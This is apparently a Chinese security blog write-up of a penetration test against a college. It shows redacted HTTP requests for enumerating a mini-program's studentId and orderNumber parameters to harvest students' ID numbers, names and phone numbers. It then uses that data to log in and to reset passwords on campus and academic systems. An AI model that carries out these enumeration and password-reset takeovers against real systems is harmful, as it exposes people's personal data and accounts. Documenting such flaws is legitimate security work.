某学院从小程序到教务系统的一次完整渗透

文摘   科技   2024-08-13 09:26   陕西  

免责声明

     请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。



01
0x01漏洞描述
说在前面:本文章主要来资产所在网段:互联网。记录从小程序到教务系统的完整渗透过程从信息泄露开始循序渐进的进行挖掘,中途发现多个越权漏洞,造成敏感信息的泄露,通过对身份证信息的利用,成功拿下多个系统。

02
0x02 漏洞复现 
漏洞URL:https://x.x.x/api/social/regsuccess?studentId=5&openId=xx


在小程序的立即注册功能中,请求的接口通过遍历studentId字段,泄露大量学生身份证号,姓名,手机号的敏感信息
GET /api/social/regsuccess?studentId=5&openId=o2KYg5Z8zMPlRdCgikMFh3QOxijw HTTP/2Host: xxx.xxx.xxx Xweb_xhr: 1Authorization: Basic 认证信息User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555Content-Type: application/jsonAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://servicewechat.com/x.x.x/30/page-frame.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

找到了这个数据包

GET /api/social/regsuccess?studentId=0&openId=o2KYg5d6Xp-XfyRH55bepR6A2Onk HTTP/2Host: xxxxx.edu.cnXweb_xhr: 1Authorization: Basic 认证信息Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xxxxxxxxxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

发包查看

studentId=0 的时候,显示该学员还没注册,那么下一步很正常的思路就是遍历一下studentId 看看会不会返回敏感信息

随意更改一下studentId就出现很多敏感信息,放到爆破模块跑一下

随意跑500

跑出来了很多身份证,越权+1

现在尝试登陆这个小程序

随意使用爆出来的身份信息进行登陆/身份证+身份证后6

成功登陆进小程序,拿到个人信息

敏感信息泄露+1,继续在登陆过后的小程序翻找功能点

点击我的票据----查看票据

数据包

GET /api/order/loadOrderInvoice?orderNumber=xx HTTP/2Host: xxxxxxXweb_xhr: 1Authorization: Basic 认证信息User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/9079Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

观察到了orderNumbe 号码  那么尝试更改一下  20230829199533

发包

查看该照片

可以看到缴费人和缴费金额不一样了,存在越权,越权+1现在我们整理一下收集到的信息  很多学号  身份证   姓名  三要素齐全了,那么我们下一步思路就是通过这些东西去登陆该学校其他系统

鹰图搜索


直接找到很多系统  尝试去登陆 ,这一步很重要  因为即使账号密码修改了,不是默认的也没有关系,我们可以通过身份证来修改密码,这样就达到了登陆的效果。拿到了第一个系统:

无线校园网使用指南(2021级新生) - 服务指南 - xxx


界面上没有修改密码的选项

那么就查看js,找到修改密码的接口

拼接

成功登录


发现可以直接通过身份证进行密码重置,这里就可以直接重置密码进入系统,然后可以进行后续操作

第二个系统


标准的教务系统,继续忘记密码


密保答案可以随意填写,然后就可以直接修改密码了,这里就只对身份证做了验证,而恰巧我们就得到了身份证后续我们登陆成功



END
点击蓝字  关注我们

爱喝酒烫头的曹操
主要分享一些漏洞挖掘小技巧,代码审计、web安全、内网渗透以及一些实战案例、快速获得edu及cnvd漏洞报送证书小技巧。
 最新文章